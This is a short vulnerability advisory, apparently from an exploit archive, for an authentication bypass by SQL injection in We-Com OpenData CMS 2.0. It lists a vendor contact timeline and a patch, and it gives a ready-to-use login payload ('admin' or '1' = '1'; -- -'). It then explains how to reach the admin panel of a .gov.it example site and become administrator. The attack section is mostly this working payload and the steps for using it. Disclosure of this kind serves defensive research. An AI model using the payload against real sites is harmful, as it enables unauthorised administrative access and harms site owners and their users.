

## We-Com OpenData CMS 2.0 SQL Injection

2020-06-03 / 2020-06-02

Credit: [thelastvvv \(https://cxsecurity.com/author/thelastvvv/1/\)](https://cxsecurity.com/author/thelastvvv/1/)

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

```
# Exploit Title: We-com OpenData CMS 2.0 Authentication Bypass / SQL Injection
# Google Dork:N/A
# Date: 2020-04-17
# Exploit Author: @TheLastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.0
# Tested on: 5.5.0-kali1-amd64
```

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Vendor contact timeline:

2020-05-05: Contacting vendor through info@we-com.it  
2020-05-26: A Patch is published in the version  
2020-06-01: Release of security advisory

Authentication Bypass / SQL Injection in the opendata 2.0 CMS

PoC:

Payload(s)

USERNAME: admin' or '1' = '1'; -- -

PASSWORD: vvV

the SQL injection attack has resulted in a bypass of the login, to confirm you will get a response in header of the page with "okokokokokokokok"

But will not redirect you to the control panel so you will need to do it manual

[https://www.site.gov.it/admin/?mod=mod\\_admin](https://www.site.gov.it/admin/?mod=mod_admin)

and we are now authenticated as "administrator".

**See this note in RAW Version** (<https://cxsecurity.com/ascii/WLB-2020060010>)

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